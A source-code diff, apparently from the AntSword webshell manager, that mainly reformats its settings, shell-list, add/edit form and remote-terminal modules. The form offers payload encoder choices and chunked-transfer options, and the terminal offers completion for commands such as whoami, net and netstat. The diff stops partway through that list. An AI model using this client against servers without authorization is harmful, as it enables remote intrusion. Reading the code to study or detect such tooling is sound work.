...@@ -40,7 +40,10 @@ class Settings { ...@@ -40,7 +40,10 @@ class Settings {
tabbar.addTab('tab_about', '<i class="fa fa-cog"></i>', null, null, true, true); tabbar.addTab('tab_about', '<i class="fa fa-cog"></i>', null, null, true, true);
const cell = tabbar.tabs('tab_about'); const cell = tabbar.tabs('tab_about');
const sidebar = cell.attachSidebar({template: 'text', width: 200}); const sidebar = cell.attachSidebar({
template: 'text',
width: 200
});
this.about = new About(sidebar); this.about = new About(sidebar);
this.language = new Language(sidebar); this.language = new Language(sidebar);
// this.update = new Update(sidebar); // this.update = new Update(sidebar);
......
...@@ -8,26 +8,26 @@ const LANG_T = antSword['language']['toastr']; ...@@ -8,26 +8,26 @@ const LANG_T = antSword['language']['toastr'];
class Language { class Language {
constructor(sidebar) { constructor(sidebar) {
sidebar.addItem({id: 'language', text: `<i class="fa fa-language"></i> ${LANG['title']}`}); sidebar.addItem({
id: 'language',
text: `<i class="fa fa-language"></i> ${LANG['title']}`
});
const cell = sidebar.cells('language'); const cell = sidebar.cells('language');
// 工具栏 // 工具栏
const toolbar = cell.attachToolbar(); const toolbar = cell.attachToolbar();
toolbar.loadStruct([ toolbar.loadStruct([{
{
id: 'save', id: 'save',
type: 'button', type: 'button',
text: LANG['toolbar']['save'], text: LANG['toolbar']['save'],
icon: 'save' icon: 'save'
}, { }, {
type: 'separator' type: 'separator'
} }]);
]);
// 表单 // 表单
const _language = antSword['storage']('language', false, 'en'); const _language = antSword['storage']('language', false, 'en');
const form = cell.attachForm([ const form = cell.attachForm([{
{
type: 'settings', type: 'settings',
position: 'label-left', position: 'label-left',
labelWidth: 100, labelWidth: 100,
...@@ -36,8 +36,7 @@ class Language { ...@@ -36,8 +36,7 @@ class Language {
type: 'block', type: 'block',
inputWidth: 'auto', inputWidth: 'auto',
offsetTop: 12, offsetTop: 12,
list: [ list: [{
{
type: 'combo', type: 'combo',
label: LANG['form']['label'], label: LANG['form']['label'],
readonly: true, readonly: true,
...@@ -45,17 +44,16 @@ class Language { ...@@ -45,17 +44,16 @@ class Language {
options: (() => { options: (() => {
let _ = []; let _ = [];
for (let l in antSword['language']['__languages__']) { for (let l in antSword['language']['__languages__']) {
_.push({text: antSword['language']['__languages__'][l], _.push({
text: antSword['language']['__languages__'][l],
value: l, value: l,
selected: _language === l selected: _language === l
}); });
} }
return _; return _;
})() })()
} }]
] }], true);
}
], true);
// 工具栏点击事件 // 工具栏点击事件
toolbar.attachEvent('onClick', (id) => { toolbar.attachEvent('onClick', (id) => {
......
...@@ -7,13 +7,15 @@ const LANG_T = antSword['language']['toastr']; ...@@ -7,13 +7,15 @@ const LANG_T = antSword['language']['toastr'];
class Update { class Update {
constructor(sidebar) { constructor(sidebar) {
sidebar.addItem({id: 'update', text: `<i class="fa fa-cloud-download"></i> ${LANG['title']}`}); sidebar.addItem({
id: 'update',
text: `<i class="fa fa-cloud-download"></i> ${LANG['title']}`
});
const cell = sidebar.cells('update'); const cell = sidebar.cells('update');
// 初始化toolbar // 初始化toolbar
const toolbar = cell.attachToolbar(); const toolbar = cell.attachToolbar();
toolbar.loadStruct([ toolbar.loadStruct([{
{
id: 'check', id: 'check',
type: 'button', type: 'button',
// 调试或者windows平台不支持更新 // 调试或者windows平台不支持更新
...@@ -22,8 +24,7 @@ class Update { ...@@ -22,8 +24,7 @@ class Update {
icon: 'check-square-o' icon: 'check-square-o'
}, { }, {
type: 'separator' type: 'separator'
} }]);
]);
// toolbar点击事件 // toolbar点击事件
toolbar.attachEvent('onClick', (id) => { toolbar.attachEvent('onClick', (id) => {
...@@ -59,9 +60,9 @@ class Update { ...@@ -59,9 +60,9 @@ class Update {
let info = ret['retVal']; let info = ret['retVal'];
// 木有更新 // 木有更新
if (!ret['hasUpdate']) { if (!ret['hasUpdate']) {
return typeof info === 'string' return typeof info === 'string' ?
? toastr.error(LANG['check']['fail'](info), LANG_T['error']) toastr.error(LANG['check']['fail'](info), LANG_T['error']) :
: toastr.info(LANG['check']['none'](info['version']), LANG_T['info']); toastr.info(LANG['check']['none'](info['version']), LANG_T['info']);
} }
// 发现更新 // 发现更新
toastr.success(LANG['check']['found'](info['version']), LANG_T['success']); toastr.success(LANG['check']['found'](info['version']), LANG_T['success']);
...@@ -121,7 +122,8 @@ class Update { ...@@ -121,7 +122,8 @@ class Update {
} }
}); });
}).send('update-check', {local_ver: antSword['package']['version'] }).send('update-check', {
local_ver: antSword['package']['version']
}); });
} }
......
...@@ -13,10 +13,14 @@ class Sidebar { ...@@ -13,10 +13,14 @@ class Sidebar {
*/ */
constructor(cell, top) { constructor(cell, top) {
this.top = top; this.top = top;
const sidebar = cell.attachSidebar({template: 'text', width: 222}); const sidebar = cell.attachSidebar({
template: 'text',
width: 222
});
// 默认分类 // 默认分类
sidebar.addItem({ sidebar.addItem({
id: 'default', bubble: 0, id: 'default',
bubble: 0,
// selected: true, // selected: true,
text: `<i class="fa fa-folder-o"></i> ${LANG['default']}</i>` text: `<i class="fa fa-folder-o"></i> ${LANG['default']}</i>`
}); });
...@@ -34,15 +38,17 @@ class Sidebar { ...@@ -34,15 +38,17 @@ class Sidebar {
_onSelect(id) { _onSelect(id) {
// 更新工具栏按钮状态 // 更新工具栏按钮状态
['del', 'rename'].map((_) => { ['del', 'rename'].map((_) => {
this.top.toolbar[id === 'default' this.top.toolbar[id === 'default' ?
? 'disableItem' 'disableItem' :
: 'enableItem'](_) 'enableItem'](_)
}); });
// 重新加载数据 // 重新加载数据
this this
.top .top
.top .top
.reloadData({category: id}); .reloadData({
category: id
});
} }
} }
......
...@@ -41,7 +41,9 @@ class Toolbar { ...@@ -41,7 +41,9 @@ class Toolbar {
].map((_) => { ].map((_) => {
// 分隔符 // 分隔符
if (!_) { if (!_) {
return _tbObj.push({type: 'separator'}) return _tbObj.push({
type: 'separator'
})
} }
let _tb = { let _tb = {
id: _[0], id: _[0],
...@@ -95,7 +97,7 @@ class Toolbar { ...@@ -95,7 +97,7 @@ class Toolbar {
layer.close(_); layer.close(_);
// 1. 删除分类数据 // 1. 删除分类数据
const ret = antSword['ipcRenderer'].sendSync('shell-clear', category); const ret = antSword['ipcRenderer'].sendSync('shell-clear', category);
if (typeof(ret) === 'number') { if (typeof (ret) === 'number') {
toastr.success(LANG['del']['success'](category), LANG_T['success']); toastr.success(LANG['del']['success'](category), LANG_T['success']);
// 2. 跳转到默认分类 // 2. 跳转到默认分类
this this
...@@ -166,7 +168,11 @@ class Toolbar { ...@@ -166,7 +168,11 @@ class Toolbar {
this this
.top .top
.sidebar .sidebar
.addItem({id: v, bubble: ret, text: `<i class="fa fa-folder-o"></i> ${v}`}); .addItem({
id: v,
bubble: ret,
text: `<i class="fa fa-folder-o"></i> ${v}`
});
// 跳转分类 // 跳转分类
setTimeout(() => { setTimeout(() => {
this this
......
...@@ -39,9 +39,12 @@ module.exports = { ...@@ -39,9 +39,12 @@ module.exports = {
if ((arg instanceof Object) && arg['category'] && !category[arg['category']]) { if ((arg instanceof Object) && arg['category'] && !category[arg['category']]) {
category[arg['category']] = 0; category[arg['category']] = 0;
}; };
if (typeof(category['default']) === 'object') { if (typeof (category['default']) === 'object') {
category['default'] = 0; category['default'] = 0;
}; };
return {data: data, category: category} return {
data: data,
category: category
}
} }
} }
\ No newline at end of file
...@@ -62,8 +62,7 @@ class ShellManager { ...@@ -62,8 +62,7 @@ class ShellManager {
var searchObj = {}; var searchObj = {};
switch (sdata['searchtype']) { switch (sdata['searchtype']) {
case 'all': case 'all':
searchObj["$or"] = [ searchObj["$or"] = [{
{
"url": { "url": {
$regex: sdata['searchtext'] $regex: sdata['searchtext']
} }
...@@ -75,8 +74,7 @@ class ShellManager { ...@@ -75,8 +74,7 @@ class ShellManager {
"note": { "note": {
$regex: sdata['searchtext'] $regex: sdata['searchtext']
} }
} }];
];
break; break;
default: default:
searchObj[sdata['searchtype']] = { searchObj[sdata['searchtype']] = {
...@@ -140,8 +138,7 @@ class ShellManager { ...@@ -140,8 +138,7 @@ class ShellManager {
initSearchUI() { initSearchUI() {
let that = this; let that = this;
let searchPop = new dhtmlXPopup(); let searchPop = new dhtmlXPopup();
let formData = [ let formData = [{
{
type: "settings", type: "settings",
position: "label-left", position: "label-left",
labelWidth: 80, labelWidth: 80,
...@@ -149,8 +146,7 @@ class ShellManager { ...@@ -149,8 +146,7 @@ class ShellManager {
}, { }, {
type: "combo", type: "combo",
name: 'searchtype', name: 'searchtype',
options: [ options: [{
{
text: "All", text: "All",
value: "all", value: "all",
selected: true selected: true
...@@ -163,16 +159,14 @@ class ShellManager { ...@@ -163,16 +159,14 @@ class ShellManager {
}, { }, {
text: "Remark", text: "Remark",
value: "note" value: "note"
} }]
]
}, { }, {
type: 'newcolumn', type: 'newcolumn',
offset: 20 offset: 20
}, { }, {
type: "input", type: "input",
name: "searchtext" name: "searchtext"
} }];
];
searchPop.attachEvent("onShow", function () { searchPop.attachEvent("onShow", function () {
if (that.searchForm == null) { if (that.searchForm == null) {
that.searchForm = searchPop.attachForm(formData); that.searchForm = searchPop.attachForm(formData);
......
...@@ -114,7 +114,9 @@ class ContextMenu { ...@@ -114,7 +114,9 @@ class ContextMenu {
].map((menu) => { ].map((menu) => {
// 分隔符号 // 分隔符号
if (!menu) { if (!menu) {
return menuItems.push({divider: true}) return menuItems.push({
divider: true
})
} }
let menuObj = { let menuObj = {
text: LANG['contextmenu'][menu[0]], text: LANG['contextmenu'][menu[0]],
...@@ -122,7 +124,7 @@ class ContextMenu { ...@@ -122,7 +124,7 @@ class ContextMenu {
disabled: menu[2] disabled: menu[2]
} }
// 点击事件 // 点击事件
if (menu[3]instanceof Function) { if (menu[3] instanceof Function) {
menuObj['action'] = menu[3]; menuObj['action'] = menu[3];
} }
// 子菜单 // 子菜单
...@@ -157,9 +159,9 @@ class ContextMenu { ...@@ -157,9 +159,9 @@ class ContextMenu {
for (let _ in plugins) { for (let _ in plugins) {
// 0x01 添加分类目录 // 0x01 添加分类目录
pluginItems.push({ pluginItems.push({
text: antSword.noxss(_ === 'default' text: antSword.noxss(_ === 'default' ?
? LANG['contextmenu']['pluginDefault'] LANG['contextmenu']['pluginDefault'] :
: _), _),
icon: 'fa fa-folder-open-o', icon: 'fa fa-folder-open-o',
disabled: plugins[_].length === 0, disabled: plugins[_].length === 0,
subMenu: ((plugs) => { subMenu: ((plugs) => {
...@@ -169,8 +171,8 @@ class ContextMenu { ...@@ -169,8 +171,8 @@ class ContextMenu {
plugItems.push({ plugItems.push({
text: antSword.noxss(p['info']['name']), text: antSword.noxss(p['info']['name']),
icon: `fa fa-${p['info']['icon'] || 'puzzle-piece'}`, icon: `fa fa-${p['info']['icon'] || 'puzzle-piece'}`,
disabled: infos.length > 1 disabled: infos.length > 1 ?
? (() => { (() => {
let ret = false; let ret = false;
// 判断脚本是否支持,不支持则禁止 // 判断脚本是否支持,不支持则禁止
if (p['info']['scripts'] && p['info']['scripts'].length > 0) { if (p['info']['scripts'] && p['info']['scripts'].length > 0) {
...@@ -183,17 +185,17 @@ class ContextMenu { ...@@ -183,17 +185,17 @@ class ContextMenu {
} }
// 判断是否支持多目标执行 // 判断是否支持多目标执行
return ret || !p['info']['multiple']; return ret || !p['info']['multiple'];
})() })() :
: info && (p['info']['scripts'] || []).indexOf(info['type']) === -1, info && (p['info']['scripts'] || []).indexOf(info['type']) === -1,
action: ((plug) => () => { action: ((plug) => () => {
// 如果没有加载到内存,则加载 // 如果没有加载到内存,则加载
if (!antSword['plugins'][plug['_id']]['module']) { if (!antSword['plugins'][plug['_id']]['module']) {
antSword['plugins'][plug['_id']]['module'] = require(path.join(plug['path'], plug['info']['main'] || 'index.js')); antSword['plugins'][plug['_id']]['module'] = require(path.join(plug['path'], plug['info']['main'] || 'index.js'));
} }
// 执行插件 // 执行插件
new antSword['plugins'][plug['_id']]['module'](infos.length === 1 && !plug['info']['multiple'] new antSword['plugins'][plug['_id']]['module'](infos.length === 1 && !plug['info']['multiple'] ?
? info info :
: infos); infos);
})(p) })(p)
}) })
}); });
...@@ -229,7 +231,7 @@ class ContextMenu { ...@@ -229,7 +231,7 @@ class ContextMenu {
ids: ids, ids: ids,
category: c category: c
}); });
if (typeof(ret) === 'number') { if (typeof (ret) === 'number') {
toastr.success(LANG['list']['move']['success'](ret), LANG_T['success']); toastr.success(LANG['list']['move']['success'](ret), LANG_T['success']);
antSword antSword
.modules .modules
...@@ -249,9 +251,9 @@ class ContextMenu { ...@@ -249,9 +251,9 @@ class ContextMenu {
let ret = []; let ret = [];
items.map((_) => { items.map((_) => {
ret.push({ ret.push({
text: _ === 'default' text: _ === 'default' ?
? LANG['category']['default'] LANG['category']['default'] :
: _, _,
icon: 'fa fa-folder-o', icon: 'fa fa-folder-o',
disabled: category === _, disabled: category === _,
action: moveHandler.bind(null, _) action: moveHandler.bind(null, _)
...@@ -277,7 +279,8 @@ class ContextMenu { ...@@ -277,7 +279,8 @@ class ContextMenu {
}, },
otherConf: shellmanager_setting.others || {} otherConf: shellmanager_setting.others || {}
}; };
new Form({title: LANG['list']['add']['title'], new Form({
title: LANG['list']['add']['title'],
icon: 'plus-circle', icon: 'plus-circle',
text: LANG['list']['add']['toolbar']['add'] text: LANG['list']['add']['toolbar']['add']
}, args, (data) => { }, args, (data) => {
...@@ -298,7 +301,8 @@ class ContextMenu { ...@@ -298,7 +301,8 @@ class ContextMenu {
antSword antSword
.modules .modules
.shellmanager .shellmanager
.reloadData({category: data['base']['category'] .reloadData({
category: data['base']['category']
}); });
return res(LANG['list']['add']['success']); return res(LANG['list']['add']['success']);
} else { } else {
...@@ -314,7 +318,8 @@ class ContextMenu { ...@@ -314,7 +318,8 @@ class ContextMenu {
* @return {[type]} [description] * @return {[type]} [description]
*/ */
editData(info) { editData(info) {
new Form({title: LANG['list']['edit']['title'](info.url), new Form({
title: LANG['list']['edit']['title'](info.url),
icon: 'save', icon: 'save',
text: LANG['list']['edit']['toolbar']['save'] text: LANG['list']['edit']['toolbar']['save']
}, info, (data) => { }, info, (data) => {
...@@ -331,7 +336,9 @@ class ContextMenu { ...@@ -331,7 +336,9 @@ class ContextMenu {
antSword antSword
.modules .modules
.shellmanager .shellmanager
.reloadData({category: info['category']}); .reloadData({
category: info['category']
});
return res(LANG['list']['edit']['success']); return res(LANG['list']['edit']['success']);
} else { } else {
return rej(LANG['list']['edit']['error'](ret.toString())); return rej(LANG['list']['edit']['error'](ret.toString()));
...@@ -353,7 +360,7 @@ class ContextMenu { ...@@ -353,7 +360,7 @@ class ContextMenu {
}, (_) => { }, (_) => {
layer.close(_); layer.close(_);
const ret = antSword['ipcRenderer'].sendSync('shell-del', ids); const ret = antSword['ipcRenderer'].sendSync('shell-del', ids);
if (typeof(ret) === 'number') { if (typeof (ret) === 'number') {
toastr.success(LANG['list']['del']['success'](ret), LANG_T['success']); toastr.success(LANG['list']['del']['success'](ret), LANG_T['success']);
// 更新UI // 更新UI
antSword antSword
...@@ -400,7 +407,8 @@ class ContextMenu { ...@@ -400,7 +407,8 @@ class ContextMenu {
antSword antSword
.modules .modules
.shellmanager .shellmanager
.reloadData({category: data['base']['category'] .reloadData({
category: data['base']['category']
}); });
toastr.success(LANG['list']['add']['success']); toastr.success(LANG['list']['add']['success']);
} else { } else {
...@@ -432,13 +440,15 @@ class ContextMenu { ...@@ -432,13 +440,15 @@ class ContextMenu {
title: `<i class="fa fa-trash"></i> ${LANG['list']['clearCache']['title']}` title: `<i class="fa fa-trash"></i> ${LANG['list']['clearCache']['title']}`
}, (_) => { }, (_) => {
layer.close(_); layer.close(_);
const ret = antSword['ipcRenderer'].sendSync('cache-clear', {id: id}); const ret = antSword['ipcRenderer'].sendSync('cache-clear', {
id: id
});
if (ret === true) { if (ret === true) {
toastr.success(LANG['list']['clearCache']['success'], LANG_T['success']); toastr.success(LANG['list']['clearCache']['success'], LANG_T['success']);
} else { } else {
toastr.error(LANG['list']['clearCache']['error'](ret['errno'] === -2 toastr.error(LANG['list']['clearCache']['error'](ret['errno'] === -2 ?
? 'Not cache file.' 'Not cache file.' :
: ret['errno']), LANG_T['error']); ret['errno']), LANG_T['error']);
} }
}); });
} }
......
...@@ -136,8 +136,7 @@ class Form { ...@@ -136,8 +136,7 @@ class Form {
*/ */
_createToolbar(win, opt) { _createToolbar(win, opt) {
const toolbar = win.attachToolbar(); const toolbar = win.attachToolbar();
toolbar.loadStruct([ toolbar.loadStruct([{
{
id: 'act', id: 'act',
type: 'button', type: 'button',
icon: opt['icon'], icon: opt['icon'],
...@@ -156,8 +155,7 @@ class Form { ...@@ -156,8 +155,7 @@ class Form {
type: 'button', type: 'button',
'icon': 'spinner', 'icon': 'spinner',
text: LANG['list']['add']['toolbar']['test'] text: LANG['list']['add']['toolbar']['test']
} }]);
]);
return toolbar; return toolbar;
} }
...@@ -168,8 +166,7 @@ class Form { ...@@ -168,8 +166,7 @@ class Form {
*/ */
_createAccordion(win) { _createAccordion(win) {
const accordion = win.attachAccordion({ const accordion = win.attachAccordion({
items: [ items: [{
{
id: 'base', id: 'base',
text: `<i class="fa fa-file-text"></i> ${LANG['list']['accordion']['base']}` text: `<i class="fa fa-file-text"></i> ${LANG['list']['accordion']['base']}`
}, { }, {
...@@ -178,8 +175,7 @@ class Form { ...@@ -178,8 +175,7 @@ class Form {
}, { }, {
id: 'other', id: 'other',
text: `<i class="fa fa-cogs"></i> ${LANG['list']['accordion']['other']}` text: `<i class="fa fa-cogs"></i> ${LANG['list']['accordion']['other']}`
} }]
]
}); });
return accordion; return accordion;
} }
...@@ -202,8 +198,7 @@ class Form { ...@@ -202,8 +198,7 @@ class Form {
const form = this const form = this
.accordion .accordion
.cells('base') .cells('base')
.attachForm([ .attachForm([{
{
type: 'settings', type: 'settings',
position: 'label-left', position: 'label-left',
labelWidth: 80, labelWidth: 80,
...@@ -212,8 +207,7 @@ class Form { ...@@ -212,8 +207,7 @@ class Form {
type: 'block', type: 'block',
inputWidth: 'auto', inputWidth: 'auto',
offsetTop: 12, offsetTop: 12,
list: [ list: [{
{
type: 'input', type: 'input',
label: LANG['list']['add']['form']['url'], label: LANG['list']['add']['form']['url'],
name: 'url', name: 'url',
...@@ -242,10 +236,8 @@ class Form { ...@@ -242,10 +236,8 @@ class Form {
name: 'type', name: 'type',
readonly: true, readonly: true,
options: this._parseTypes(opt.type, opt.encoder, opt.decoder) options: this._parseTypes(opt.type, opt.encoder, opt.decoder)
} }]
] }], true);
}
], true);
form.attachEvent('onChange', (_, id) => { form.attachEvent('onChange', (_, id) => {
// 根据后缀自动修改 shell 类型 // 根据后缀自动修改 shell 类型
...@@ -346,8 +338,7 @@ class Form { ...@@ -346,8 +338,7 @@ class Form {
value: c, value: c,
selected: c === _default, selected: c === _default,
list: ((c) => { list: ((c) => {
let _ = [ let _ = [{
{
type: 'settings', type: 'settings',
position: 'label-right', position: 'label-right',
offsetLeft: 60, offsetLeft: 60,
...@@ -361,10 +352,13 @@ class Form { ...@@ -361,10 +352,13 @@ class Form {
value: 'default', value: 'default',
label: `default\t(${LANG['list']['not_recommended']})`, label: `default\t(${LANG['list']['not_recommended']})`,
checked: true checked: true
} }];
];
if (c !== 'custom') { if (c !== 'custom') {
_.push({type: 'radio', name: `encoder_${c}`, value: 'random', label: `random\t(${LANG['list']['not_recommended']})`, _.push({
type: 'radio',
name: `encoder_${c}`,
value: 'random',
label: `random\t(${LANG['list']['not_recommended']})`,
checked: _encoder === 'random' checked: _encoder === 'random'
}); });
} }
...@@ -378,7 +372,9 @@ class Form { ...@@ -378,7 +372,9 @@ class Form {
}) })
}); });
_.push({type: 'label', label: LANG['list']['add']['form']['decoder'] _.push({
type: 'label',
label: LANG['list']['add']['form']['decoder']
}); });
decoders.map((e) => { decoders.map((e) => {
_.push({ _.push({
...@@ -416,7 +412,8 @@ class Form { ...@@ -416,7 +412,8 @@ class Form {
}; };
// 提取需要的http数据 // 提取需要的http数据
let [headers, let [headers,
bodys] = [{}, {}]; bodys
] = [{}, {}];
for (let _ in http) { for (let _ in http) {
if (_.endsWith('value') || !http[_]) { if (_.endsWith('value') || !http[_]) {
continue continue
...@@ -460,8 +457,7 @@ class Form { ...@@ -460,8 +457,7 @@ class Form {
const form = this const form = this
.accordion .accordion
.cells('other') .cells('other')
.attachForm([ .attachForm([{
{
type: 'settings', type: 'settings',
position: 'label-right', position: 'label-right',
inputWidth: 400 inputWidth: 400
...@@ -469,8 +465,7 @@ class Form { ...@@ -469,8 +465,7 @@ class Form {
type: 'block', type: 'block',
inputWidth: 'auto', inputWidth: 'auto',
offsetTop: 12, offsetTop: 12,
list: [ list: [{
{
type: "checkbox", type: "checkbox",
name: 'ignore-https', name: 'ignore-https',
label: LANG['list']['otherConf']['nohttps'], label: LANG['list']['otherConf']['nohttps'],
...@@ -484,23 +479,19 @@ class Form { ...@@ -484,23 +479,19 @@ class Form {
type: 'fieldset', type: 'fieldset',
offsetLeft: 0, offsetLeft: 0,
label: LANG['list']['otherConf']['chunk']['title'], label: LANG['list']['otherConf']['chunk']['title'],
list: [ list: [{
{
type: 'block', type: 'block',
offsetLeft: 0, offsetLeft: 0,
list: [ list: [{
{
type: "checkbox", type: "checkbox",
name: 'use-chunk', name: 'use-chunk',
label: LANG['list']['otherConf']['chunk']['usechunk'], label: LANG['list']['otherConf']['chunk']['usechunk'],
checked: opt['use-chunk'] === 1 checked: opt['use-chunk'] === 1
} }]
]
}, { }, {
type: 'block', type: 'block',
offsetLeft: 0, offsetLeft: 0,
list: [ list: [{
{
type: 'label', type: 'label',
label: LANG['list']['otherConf']['chunk']['min'] label: LANG['list']['otherConf']['chunk']['min']
}, { }, {
...@@ -569,10 +560,8 @@ class Form { ...@@ -569,10 +560,8 @@ class Form {
'100', '100',
'500' '500'
]) ])
} }]
] }]
}
]
}, { }, {
type: "checkbox", type: "checkbox",
name: 'terminal-cache', name: 'terminal-cache',
...@@ -658,10 +647,8 @@ class Form { ...@@ -658,10 +647,8 @@ class Form {
}); });
return ret; return ret;
})(['/bin/sh', 'cmd']) })(['/bin/sh', 'cmd'])
} }]
] }], true);
}
], true);
form.attachEvent('onChange', (name, value, state) => { form.attachEvent('onChange', (name, value, state) => {
switch (name) { switch (name) {
case 'use-multipart': case 'use-multipart':
...@@ -674,7 +661,9 @@ class Form { ...@@ -674,7 +661,9 @@ class Form {
form.uncheckItem('use-multipart'); form.uncheckItem('use-multipart');
} }
if (state == true) { if (state == true) {
layer.open({title: LANG_T['info'], content: LANG['list']['otherConf']['chunk']['exphint'] layer.open({
title: LANG_T['info'],
content: LANG['list']['otherConf']['chunk']['exphint']
}); });
} }
break; break;
...@@ -700,8 +689,7 @@ class Form { ...@@ -700,8 +689,7 @@ class Form {
.cells('http'); .cells('http');
// 创建toolbar,用于添加数据 // 创建toolbar,用于添加数据
const toolbar = cell.attachToolbar(); const toolbar = cell.attachToolbar();
toolbar.loadStruct([ toolbar.loadStruct([{
{
id: 'add-header', id: 'add-header',
type: 'button', type: 'button',
icon: 'plus-square-o', icon: 'plus-square-o',
...@@ -713,34 +701,27 @@ class Form { ...@@ -713,34 +701,27 @@ class Form {
type: 'button', type: 'button',
icon: 'plus-square-o', icon: 'plus-square-o',
text: 'Body' text: 'Body'
} }]);
]);
// 创建表单 // 创建表单
const form = cell.attachForm([ const form = cell.attachForm([{
{
type: 'block', type: 'block',
inputWidth: 'auto', inputWidth: 'auto',
offsetTop: 12, offsetTop: 12,
name: 'header', name: 'header',
list: [ list: [{
{
type: "label", type: "label",
label: "HTTP HEADERS" label: "HTTP HEADERS"
} }]
]
}, { }, {
type: 'block', type: 'block',
inputWidth: 'auto', inputWidth: 'auto',
offsetTop: 12, offsetTop: 12,
name: 'body', name: 'body',
list: [ list: [{
{
type: "label", type: "label",
label: "HTTP BODY" label: "HTTP BODY"
} }]
] }], true);
}
], true);
// 添加Header // 添加Header
let _headerCount = 0; let _headerCount = 0;
const _addHeader = (name = '', value = '') => { const _addHeader = (name = '', value = '') => {
...@@ -749,8 +730,7 @@ class Form { ...@@ -749,8 +730,7 @@ class Form {
type: "fieldset", type: "fieldset",
label: `#${_headerCount}`, label: `#${_headerCount}`,
inputWidth: 480, inputWidth: 480,
list: [ list: [{
{
type: "input", type: "input",
name: `header-${_headerCount}_name`, name: `header-${_headerCount}_name`,
inputWidth: 350, inputWidth: 350,
...@@ -764,8 +744,7 @@ class Form { ...@@ -764,8 +744,7 @@ class Form {
labelWidth: 50, labelWidth: 50,
label: "Value", label: "Value",
value: value value: value
} }]
]
}) })
} }
// 添加Body // 添加Body
...@@ -776,8 +755,7 @@ class Form { ...@@ -776,8 +755,7 @@ class Form {
type: "fieldset", type: "fieldset",
label: `#${_bodyCount}`, label: `#${_bodyCount}`,
inputWidth: 480, inputWidth: 480,
list: [ list: [{
{
type: "input", type: "input",
name: `body-${_bodyCount}_name`, name: `body-${_bodyCount}_name`,
inputWidth: 350, inputWidth: 350,
...@@ -791,8 +769,7 @@ class Form { ...@@ -791,8 +769,7 @@ class Form {
labelWidth: 50, labelWidth: 50,
label: "Value", label: "Value",
value: value value: value
} }]
]
}) })
} }
// 监听toolbar事件 // 监听toolbar事件
......
...@@ -31,9 +31,9 @@ class Grid { ...@@ -31,9 +31,9 @@ class Grid {
grid.setColAlign("left,left,left,left,center,center"); grid.setColAlign("left,left,left,left,center,center");
grid.enableMultiselect(true); grid.enableMultiselect(true);
// 根据设置隐藏相应的列 // 根据设置隐藏相应的列
const dis_smhc = localStorage.hasOwnProperty('display_shellmanager_hiddencolumns') const dis_smhc = localStorage.hasOwnProperty('display_shellmanager_hiddencolumns') ?
? JSON.parse(localStorage.display_shellmanager_hiddencolumns) JSON.parse(localStorage.display_shellmanager_hiddencolumns) :
: []; [];
dis_smhc.map((_) => { dis_smhc.map((_) => {
grid.setColumnHidden(_, true) grid.setColumnHidden(_, true)
}); });
......
...@@ -19,11 +19,11 @@ class Terminal { ...@@ -19,11 +19,11 @@ class Terminal {
if (id !== `tab_terminal_${hash}`) { if (id !== `tab_terminal_${hash}`) {
return return
}; };
this.term this.term ?
? this this
.term .term
.focus() .focus() :
: 0; 0;
}); });
// 初始化UI::cell // 初始化UI::cell
const cell = tabbar.cells(`tab_terminal_${hash}`); const cell = tabbar.cells(`tab_terminal_${hash}`);
...@@ -63,9 +63,9 @@ class Terminal { ...@@ -63,9 +63,9 @@ class Terminal {
} }
}) })
.catch((err) => { .catch((err) => {
toastr.error((typeof(err) === 'object') toastr.error((typeof (err) === 'object') ?
? JSON.stringify(err) JSON.stringify(err) :
: String(err), LANG_T['error']); String(err), LANG_T['error']);
this this
.cell .cell
.progressOff(); .progressOff();
...@@ -89,7 +89,10 @@ class Terminal { ...@@ -89,7 +89,10 @@ class Terminal {
.get('info'); .get('info');
// 如果有缓存?初始化终端:获取信息&&保存缓存&&初始化终端 // 如果有缓存?初始化终端:获取信息&&保存缓存&&初始化终端
if (infoCache) { if (infoCache) {
return ret({dom: dom, info: infoCache}); return ret({
dom: dom,
info: infoCache
});
} }
// 开始获取信息 // 开始获取信息
this this
...@@ -105,7 +108,10 @@ class Terminal { ...@@ -105,7 +108,10 @@ class Terminal {
this this
.cache .cache
.set('info', _ret['text']); .set('info', _ret['text']);
return ret({dom: dom, info: _ret['text']}); return ret({
dom: dom,
info: _ret['text']
});
}) })
.catch((e) => { .catch((e) => {
rej(e); rej(e);
...@@ -204,7 +210,9 @@ class Terminal { ...@@ -204,7 +210,9 @@ class Terminal {
} }
this this
.core .core
.request(this.core.command.listcmd({binarr: binarr})) .request(this.core.command.listcmd({
binarr: binarr
}))
.then((ret) => { .then((ret) => {
let res = ret['text']; let res = ret['text'];
if (res.indexOf("ERROR://") > -1) { if (res.indexOf("ERROR://") > -1) {
...@@ -216,9 +224,9 @@ class Terminal { ...@@ -216,9 +224,9 @@ class Terminal {
.map((v) => { .map((v) => {
var line = v.split('\t'); var line = v.split('\t');
if (line.length == 2) { if (line.length == 2) {
var r = parseInt(line[1]) === 1 var r = parseInt(line[1]) === 1 ?
? '[[b;#15af63;]OK]' '[[b;#15af63;]OK]' :
: '[[b;#E80000;]FAIL]'; '[[b;#E80000;]FAIL]';
result += `${line[0]}\t\t\t${r}\n`; result += `${line[0]}\t\t\t${r}\n`;
} }
}); });
...@@ -269,9 +277,9 @@ class Terminal { ...@@ -269,9 +277,9 @@ class Terminal {
return term.resume(); return term.resume();
}; };
// 获取自定义执行路径 // 获取自定义执行路径
let _bin = this.isWin let _bin = this.isWin ?
? 'cmd' 'cmd' :
: '/bin/sh'; '/bin/sh';
let _confBin = (this.opts['otherConf'] || {})['command-path']; let _confBin = (this.opts['otherConf'] || {})['command-path'];
_bin = _confBin || _bin; _bin = _confBin || _bin;
if (self.sessbin !== null) { if (self.sessbin !== null) {
...@@ -347,50 +355,11 @@ class Terminal { ...@@ -347,50 +355,11 @@ class Terminal {
exit: false, exit: false,
// < 1.0.0 时使用3个参数 completion: (term, value, callback) => {} // < 1.0.0 时使用3个参数 completion: (term, value, callback) => {}
completion: (value, callback) => { completion: (value, callback) => {
callback([ callback(['ashelp', 'ascmd', 'aslistcmd', 'aspowershell', 'quit', 'exit'].concat(
'ashelp', this.isWin ? [
'ascmd', 'dir', 'whoami', 'net', 'ipconfig', 'netstat', 'cls', 'wscript', 'nslookup', 'copy', 'del', 'ren', 'md', 'type', 'ping'
'aslistcmd', ] : [
'aspowershell', 'cd', 'ls', 'find', 'cp', 'mv', 'rm', 'ps', 'kill', 'file', 'tar', 'cat', 'chown', 'chmod', 'pwd', 'history', 'whoami', 'ifconfig', 'clear', 'ping'
'quit',
'exit'
].concat(this.isWin
? [
'dir',
'whoami',
'net',
'ipconfig',
'netstat',
'cls',
'wscript',
'nslookup',
'copy',
'del',
'ren',
'md',
